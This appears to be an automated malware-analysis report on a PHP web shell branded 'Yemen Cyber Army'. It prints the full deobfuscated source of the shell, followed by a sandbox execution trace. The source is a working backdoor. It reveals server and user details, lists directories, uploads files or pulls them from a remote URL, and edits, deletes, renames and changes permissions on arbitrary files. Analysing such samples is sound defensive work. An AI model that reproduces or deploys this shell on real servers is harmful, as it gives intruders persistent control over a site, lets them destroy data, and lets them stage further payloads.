PHP Malware Analysis

co.phtml

md5: a8c3f41a4e4dee7e5b7c39ef4d9a8885

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title

URLs


Deobfuscated PHP code

<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>

<font face="Bungee" size="5">YEMEN CYBER ARMY </font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<img src="https://files.catbox.moe/7l0m14.jpeg" width="280" height="280" title="Logo of a company" alt="Logo of a company" class="center" />

<?php 
set_time_limit(0);
error_reporting(0);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>" . $disfunc . "</font>";
}
function author()
{
    echo "<center><br>YE_HACK 2022</center>";
    exit;
}
function cekdir()
{
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function cekroot()
{
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function xrmdir($dir)
{
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}
function green($text)
{
    echo "<center><font color='green'>" . $text . "</center></font>";
}
function red($text)
{
    echo "<center><font color='red'>" . $text . "</center></font>";
}
echo "Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "System : <font color='gold'>" . php_uname() . "</font><br>";
echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
echo "Disable Function : " . $disf . "</font><br>";
echo "Directory : &nbsp;";
foreach ($_POST as $key => $value) {
    $_POST[$key] = stripslashes($value);
}
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}
$lokasi = str_replace('\\', '/', $lokasi);
$lokasis = explode('/', $lokasi);
$lokasinya = @scandir($lokasi);
foreach ($lokasis as $id => $lok) {
    if ($lok == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($lok == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$lokasis[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $lok . '</a>/';
}
echo "</td></tr><tr><td><br>";
if (isset($_POST['upwkwk'])) {
    if (isset($_POST['berkasnya'])) {
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi . "/" . $_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}
echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
<input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : " . $_GET['fileloc'];
    echo "</tr></td></table><br/>";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
            echo "string";
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
	Permission : <input name="perm" type="text" class="up" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="ubahmod">
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
    if (isset($_POST['chm0d'])) {
        $cm = @chmod($_POST['path'], $_POST['perm']);
        if ($cm == true) {
            green("Change Mod Success !");
        } else {
            red("Change Mod Failed !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
	New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="gantinama">
	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>" . $_POST['path'] . "<br><br>";
    echo '<form method="post">
	<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="edit">
	<input type="submit" value="Edit File" name="gasedit" />
	</form><br>';
}
echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($lokasinya as $dir) {
    if (!is_dir($lokasi . "/" . $dir) || $dir == '.' || $dir == '..') {
        continue;
    }
    echo "<tr>\r\n\t<td><a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\r\n\t<td><center>--</center></td>\r\n\t<td><center>";
    if (is_writable($lokasi . "/" . $dir)) {
        echo "<font color=\"green\">";
    } elseif (!is_readable($lokasi . "/" . $dir)) {
        echo "<font color=\"red\">";
    }
    echo statusnya($lokasi . "/" . $dir);
    if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
        echo "</font>";
    }
    echo "</center></td>\r\n\t<td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\r\n\t<select name=\"pilih\">\r\n\t<option value=\"\"></option>\r\n\t<option value=\"hapus\">Delete</option>\r\n\t<option value=\"ubahmod\">Chm0d</option>\r\n\t<option value=\"gantinama\">Rename</option>\r\n\t</select>\r\n\t<input type=\"hidden\" name=\"type\" value=\"dir\">\r\n\t<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n\t<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\r\n\t<input type=\"submit\" class=\"gas\" value=\">\" />\r\n\t</form></center></td>\r\n\t</tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
foreach ($lokasinya as $file) {
    if (!is_file("{$lokasi}/{$file}")) {
        continue;
    }
    $size = filesize("{$lokasi}/{$file}") / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    echo "<tr>\r\n<td><a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>";
    if (is_writable("{$lokasi}/{$file}")) {
        echo "<font color=\"green\">";
    } elseif (!is_readable("{$lokasi}/{$file}")) {
        echo "<font color=\"red\">";
    }
    echo statusnya("{$lokasi}/{$file}");
    if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
        echo "</font>";
    }
    echo "</center></td><td><center>\r\n<form method=\"post\" action=\"?pilihan&path={$lokasi}\">\r\n<select name=\"pilih\">\r\n<option value=\"\"></option>\r\n<option value=\"hapus\">Delete</option>\r\n<option value=\"ubahmod\">Chm0d</option>\r\n<option value=\"gantinama\">Rename</option>\r\n<option value=\"edit\">Edit</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\r\n<input type=\"submit\" class=\"gas\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "</tr></td></table></table>";
author();
function statusnya($file)
{
    $statusnya = fileperms($file);
    if (($statusnya & 0xc000) == 0xc000) {
        // Socket
        $ingfo = 's';
    } elseif (($statusnya & 0xa000) == 0xa000) {
        // Symbolic Link
        $ingfo = 'l';
    } elseif (($statusnya & 0x8000) == 0x8000) {
        // Regular
        $ingfo = '-';
    } elseif (($statusnya & 0x6000) == 0x6000) {
        // Block special
        $ingfo = 'b';
    } elseif (($statusnya & 0x4000) == 0x4000) {
        // Directory
        $ingfo = 'd';
    } elseif (($statusnya & 0x2000) == 0x2000) {
        // Character special
        $ingfo = 'c';
    } elseif (($statusnya & 0x1000) == 0x1000) {
        // FIFO pipe
        $ingfo = 'p';
    } else {
        // Unknown
        $ingfo = 'u';
    }
    // Owner
    $ingfo .= $statusnya & 0x100 ? 'r' : '-';
    $ingfo .= $statusnya & 0x80 ? 'w' : '-';
    $ingfo .= $statusnya & 0x40 ? $statusnya & 0x800 ? 's' : 'x' : ($statusnya & 0x800 ? 'S' : '-');
    // Group
    $ingfo .= $statusnya & 0x20 ? 'r' : '-';
    $ingfo .= $statusnya & 0x10 ? 'w' : '-';
    $ingfo .= $statusnya & 0x8 ? $statusnya & 0x400 ? 's' : 'x' : ($statusnya & 0x400 ? 'S' : '-');
    // World
    $ingfo .= $statusnya & 0x4 ? 'r' : '-';
    $ingfo .= $statusnya & 0x2 ? 'w' : '-';
    $ingfo .= $statusnya & 0x1 ? $statusnya & 0x200 ? 't' : 'x' : ($statusnya & 0x200 ? 'T' : '-');
    return $ingfo;
}

Execution traces

data/traces/a8c3f41a4e4dee7e5b7c39ef4d9a8885_trace-1676237338.2553.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:29:24.153091]
1	0	1	0.000234	393512
1	3	0	0.000633	469840	{main}	1		/var/www/html/uploads/co.phtml	0	0
2	4	0	0.000652	469840	set_time_limit	0		/var/www/html/uploads/co.phtml	100	1	0
2	4	1	0.000669	469904
2	4	R			FALSE
2	5	0	0.000683	469872	error_reporting	0		/var/www/html/uploads/co.phtml	101	1	0
2	5	1	0.000697	469912
2	5	R			22527
2	6	0	0.000710	469872	ini_get	0		/var/www/html/uploads/co.phtml	103	1	'disable_functions'
2	6	1	0.000725	470352
2	6	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/co.phtml	103	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/co.phtml	107	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	7	0	0.000797	470768	php_uname	0		/var/www/html/uploads/co.phtml	161	0
2	7	1	0.000811	470880
2	7	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	8	0	0.000830	470768	get_current_user	0		/var/www/html/uploads/co.phtml	162	0
2	8	1	0.000865	470808
2	8	R			'osboxes'
2	9	0	0.000880	470872	getmyuid	0		/var/www/html/uploads/co.phtml	162	0
2	9	1	0.000893	470872
2	9	R			1000
2	10	0	0.000906	470776	phpversion	0		/var/www/html/uploads/co.phtml	163	0
2	10	1	0.000918	470840
2	10	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	11	0	0.000935	470776	getcwd	0		/var/www/html/uploads/co.phtml	175	0
2	11	1	0.000948	470824
2	11	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/co.phtml	175	$lokasi = '/var/www/html/uploads'
2	12	0	0.000974	470824	getcwd	0		/var/www/html/uploads/co.phtml	176	0
2	12	1	0.000986	470872
2	12	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/co.phtml	176	$lokdua = '/var/www/html/uploads'
2	13	0	0.001011	470872	str_replace	0		/var/www/html/uploads/co.phtml	179	3	'\\'	'/'	'/var/www/html/uploads'
2	13	1	0.001026	470968
2	13	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/co.phtml	179	$lokasi = '/var/www/html/uploads'
2	14	0	0.001050	470872	explode	0		/var/www/html/uploads/co.phtml	180	2	'/'	'/var/www/html/uploads'
2	14	1	0.001064	471448
2	14	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/co.phtml	180	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	15	0	0.001098	471376	scandir	0		/var/www/html/uploads/co.phtml	181	1	'/var/www/html/uploads'
2	15	1	0.001128	472000
2	15	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'co.phtml', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/co.phtml	181	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'co.phtml', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/co.phtml	183	$id = 0
1		A						/var/www/html/uploads/co.phtml	185	$a = TRUE
1		A						/var/www/html/uploads/co.phtml	183	$id = 1
1		A						/var/www/html/uploads/co.phtml	191	$i = 0
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	183	$id = 2
1		A						/var/www/html/uploads/co.phtml	191	$i = 0
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	183	$id = 3
1		A						/var/www/html/uploads/co.phtml	191	$i = 0
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	183	$id = 4
1		A						/var/www/html/uploads/co.phtml	191	$i = 0
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
1		A						/var/www/html/uploads/co.phtml	191	$i++
2	16	0	0.001374	471968	cekdir	1		/var/www/html/uploads/co.phtml	228	0
3	17	0	0.001386	471968	getcwd	0		/var/www/html/uploads/co.phtml	119	0
3	17	1	0.001399	472016
3	17	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/co.phtml	119	$lokasi = '/var/www/html/uploads'
3	18	0	0.001424	472016	is_writable	0		/var/www/html/uploads/co.phtml	121	1	'/var/www/html/uploads'
3	18	1	0.001443	472056
3	18	R			TRUE
2	16	1	0.001456	471968
2	16	R			'<font color=\'green\'>Writeable</font>'
2	19	0	0.001473	472224	cekroot	1		/var/www/html/uploads/co.phtml	229	0
3	20	0	0.001484	472224	is_writable	0		/var/www/html/uploads/co.phtml	129	1	'/var/www/html'
3	20	1	0.001499	472264
3	20	R			TRUE
2	19	1	0.001512	472224
2	19	R			'<font color=\'green\'>Writeable</font>'
2	21	0	0.001529	472016	is_dir	0		/var/www/html/uploads/co.phtml	323	1	'/var/www/html/uploads/.'
2	21	1	0.001544	472080
2	21	R			TRUE
2	22	0	0.001557	472048	is_dir	0		/var/www/html/uploads/co.phtml	323	1	'/var/www/html/uploads/..'
2	22	1	0.001571	472096
2	22	R			TRUE
2	23	0	0.001584	472056	is_dir	0		/var/www/html/uploads/co.phtml	323	1	'/var/www/html/uploads/.htaccess'
2	23	1	0.001599	472096
2	23	R			FALSE
2	24	0	0.001613	472056	is_dir	0		/var/www/html/uploads/co.phtml	323	1	'/var/www/html/uploads/co.phtml'
2	24	1	0.001626	472096
2	24	R			FALSE
2	25	0	0.001639	472056	is_dir	0		/var/www/html/uploads/co.phtml	323	1	'/var/www/html/uploads/data'
2	25	1	0.001653	472096
2	25	R			TRUE
2	26	0	0.001666	472056	is_writable	0		/var/www/html/uploads/co.phtml	328	1	'/var/www/html/uploads/data'
2	26	1	0.001681	472096
2	26	R			TRUE
2	27	0	0.001695	472056	statusnya	1		/var/www/html/uploads/co.phtml	330	1	'/var/www/html/uploads/data'
3	28	0	0.001708	472056	fileperms	0		/var/www/html/uploads/co.phtml	388	1	'/var/www/html/uploads/data'
3	28	1	0.001721	472096
3	28	R			16895
2		A						/var/www/html/uploads/co.phtml	388	$statusnya = 16895
2		A						/var/www/html/uploads/co.phtml	405	$ingfo = 'd'
2		A						/var/www/html/uploads/co.phtml	418	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	419	$ingfo .= 'w'
2		A						/var/www/html/uploads/co.phtml	422	$ingfo .= 'x'
2		A						/var/www/html/uploads/co.phtml	426	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	427	$ingfo .= 'w'
2		A						/var/www/html/uploads/co.phtml	430	$ingfo .= 'x'
2		A						/var/www/html/uploads/co.phtml	433	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	434	$ingfo .= 'w'
2		A						/var/www/html/uploads/co.phtml	438	$ingfo .= 'x'
2	27	1	0.001844	472096
2	27	R			'drwxrwxrwx'
2	29	0	0.001858	472056	is_writable	0		/var/www/html/uploads/co.phtml	331	1	'/var/www/html/uploads/data'
2	29	1	0.001873	472096
2	29	R			TRUE
2	30	0	0.001892	472176	is_dir	0		/var/www/html/uploads/co.phtml	323	1	'/var/www/html/uploads/prepend.php'
2	30	1	0.001908	472224
2	30	R			FALSE
2	31	0	0.001923	472168	is_file	0		/var/www/html/uploads/co.phtml	351	1	'/var/www/html/uploads/.'
2	31	1	0.001937	472192
2	31	R			FALSE
2	32	0	0.001950	472160	is_file	0		/var/www/html/uploads/co.phtml	351	1	'/var/www/html/uploads/..'
2	32	1	0.001964	472208
2	32	R			FALSE
2	33	0	0.001977	472168	is_file	0		/var/www/html/uploads/co.phtml	351	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.001992	472208
2	33	R			TRUE
2	34	0	0.002004	472168	filesize	0		/var/www/html/uploads/co.phtml	352	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.002017	472208
2	34	R			64
1		A						/var/www/html/uploads/co.phtml	352	$size = 0.0625
2	35	0	0.002041	472112	round	0		/var/www/html/uploads/co.phtml	353	2	0.0625	3
2	35	1	0.002055	472184
2	35	R			0.063
1		A						/var/www/html/uploads/co.phtml	353	$size = 0.063
1		A						/var/www/html/uploads/co.phtml	357	$size = '0.063 KB'
2	36	0	0.002090	472208	is_writable	0		/var/www/html/uploads/co.phtml	364	1	'/var/www/html/uploads/.htaccess'
2	36	1	0.002106	472248
2	36	R			FALSE
2	37	0	0.002119	472208	is_readable	0		/var/www/html/uploads/co.phtml	365	1	'/var/www/html/uploads/.htaccess'
2	37	1	0.002134	472248
2	37	R			TRUE
2	38	0	0.002147	472208	statusnya	1		/var/www/html/uploads/co.phtml	366	1	'/var/www/html/uploads/.htaccess'
3	39	0	0.002160	472208	fileperms	0		/var/www/html/uploads/co.phtml	388	1	'/var/www/html/uploads/.htaccess'
3	39	1	0.002177	472248
3	39	R			33188
2		A						/var/www/html/uploads/co.phtml	388	$statusnya = 33188
2		A						/var/www/html/uploads/co.phtml	399	$ingfo = '-'
2		A						/var/www/html/uploads/co.phtml	418	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	419	$ingfo .= 'w'
2		A						/var/www/html/uploads/co.phtml	422	$ingfo .= '-'
2		A						/var/www/html/uploads/co.phtml	426	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	427	$ingfo .= '-'
2		A						/var/www/html/uploads/co.phtml	430	$ingfo .= '-'
2		A						/var/www/html/uploads/co.phtml	433	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	434	$ingfo .= '-'
2		A						/var/www/html/uploads/co.phtml	438	$ingfo .= '-'
2	38	1	0.002297	472248
2	38	R			'-rw-r--r--'
2	40	0	0.002312	472208	is_writable	0		/var/www/html/uploads/co.phtml	367	1	'/var/www/html/uploads/.htaccess'
2	40	1	0.002327	472248
2	40	R			FALSE
2	41	0	0.002340	472208	is_readable	0		/var/www/html/uploads/co.phtml	367	1	'/var/www/html/uploads/.htaccess'
2	41	1	0.002355	472248
2	41	R			TRUE
2	42	0	0.002368	472208	is_file	0		/var/www/html/uploads/co.phtml	351	1	'/var/www/html/uploads/co.phtml'
2	42	1	0.002382	472248
2	42	R			TRUE
2	43	0	0.002395	472208	filesize	0		/var/www/html/uploads/co.phtml	352	1	'/var/www/html/uploads/co.phtml'
2	43	1	0.002407	472248
2	43	R			12745
1		A						/var/www/html/uploads/co.phtml	352	$size = 12.4462890625
2	44	0	0.002430	472112	round	0		/var/www/html/uploads/co.phtml	353	2	12.4462890625	3
2	44	1	0.002443	472184
2	44	R			12.446
1		A						/var/www/html/uploads/co.phtml	353	$size = 12.446
1		A						/var/www/html/uploads/co.phtml	357	$size = '12.446 KB'
2	45	0	0.002479	472208	is_writable	0		/var/www/html/uploads/co.phtml	364	1	'/var/www/html/uploads/co.phtml'
2	45	1	0.002493	472248
2	45	R			FALSE
2	46	0	0.002506	472208	is_readable	0		/var/www/html/uploads/co.phtml	365	1	'/var/www/html/uploads/co.phtml'
2	46	1	0.002520	472248
2	46	R			TRUE
2	47	0	0.002533	472208	statusnya	1		/var/www/html/uploads/co.phtml	366	1	'/var/www/html/uploads/co.phtml'
3	48	0	0.002545	472208	fileperms	0		/var/www/html/uploads/co.phtml	388	1	'/var/www/html/uploads/co.phtml'
3	48	1	0.002557	472248
3	48	R			33204
2		A						/var/www/html/uploads/co.phtml	388	$statusnya = 33204
2		A						/var/www/html/uploads/co.phtml	399	$ingfo = '-'
2		A						/var/www/html/uploads/co.phtml	418	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	419	$ingfo .= 'w'
2		A						/var/www/html/uploads/co.phtml	422	$ingfo .= '-'
2		A						/var/www/html/uploads/co.phtml	426	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	427	$ingfo .= 'w'
2		A						/var/www/html/uploads/co.phtml	430	$ingfo .= '-'
2		A						/var/www/html/uploads/co.phtml	433	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	434	$ingfo .= '-'
2		A						/var/www/html/uploads/co.phtml	438	$ingfo .= '-'
2	47	1	0.002675	472248
2	47	R			'-rw-rw-r--'
2	49	0	0.002689	472208	is_writable	0		/var/www/html/uploads/co.phtml	367	1	'/var/www/html/uploads/co.phtml'
2	49	1	0.002703	472248
2	49	R			FALSE
2	50	0	0.002716	472208	is_readable	0		/var/www/html/uploads/co.phtml	367	1	'/var/www/html/uploads/co.phtml'
2	50	1	0.002730	472248
2	50	R			TRUE
2	51	0	0.002743	472208	is_file	0		/var/www/html/uploads/co.phtml	351	1	'/var/www/html/uploads/data'
2	51	1	0.002758	472248
2	51	R			FALSE
2	52	0	0.002771	472216	is_file	0		/var/www/html/uploads/co.phtml	351	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002786	472264
2	52	R			TRUE
2	53	0	0.002817	472224	filesize	0		/var/www/html/uploads/co.phtml	352	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002831	472264
2	53	R			57
1		A						/var/www/html/uploads/co.phtml	352	$size = 0.0556640625
2	54	0	0.002855	472120	round	0		/var/www/html/uploads/co.phtml	353	2	0.0556640625	3
2	54	1	0.002868	472192
2	54	R			0.056
1		A						/var/www/html/uploads/co.phtml	353	$size = 0.056
1		A						/var/www/html/uploads/co.phtml	357	$size = '0.056 KB'
2	55	0	0.002904	472224	is_writable	0		/var/www/html/uploads/co.phtml	364	1	'/var/www/html/uploads/prepend.php'
2	55	1	0.002920	472264
2	55	R			FALSE
2	56	0	0.002933	472224	is_readable	0		/var/www/html/uploads/co.phtml	365	1	'/var/www/html/uploads/prepend.php'
2	56	1	0.002948	472264
2	56	R			TRUE
2	57	0	0.002961	472224	statusnya	1		/var/www/html/uploads/co.phtml	366	1	'/var/www/html/uploads/prepend.php'
3	58	0	0.002977	472224	fileperms	0		/var/www/html/uploads/co.phtml	388	1	'/var/www/html/uploads/prepend.php'
3	58	1	0.002991	472264
3	58	R			33261
2		A						/var/www/html/uploads/co.phtml	388	$statusnya = 33261
2		A						/var/www/html/uploads/co.phtml	399	$ingfo = '-'
2		A						/var/www/html/uploads/co.phtml	418	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	419	$ingfo .= 'w'
2		A						/var/www/html/uploads/co.phtml	422	$ingfo .= 'x'
2		A						/var/www/html/uploads/co.phtml	426	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	427	$ingfo .= '-'
2		A						/var/www/html/uploads/co.phtml	430	$ingfo .= 'x'
2		A						/var/www/html/uploads/co.phtml	433	$ingfo .= 'r'
2		A						/var/www/html/uploads/co.phtml	434	$ingfo .= '-'
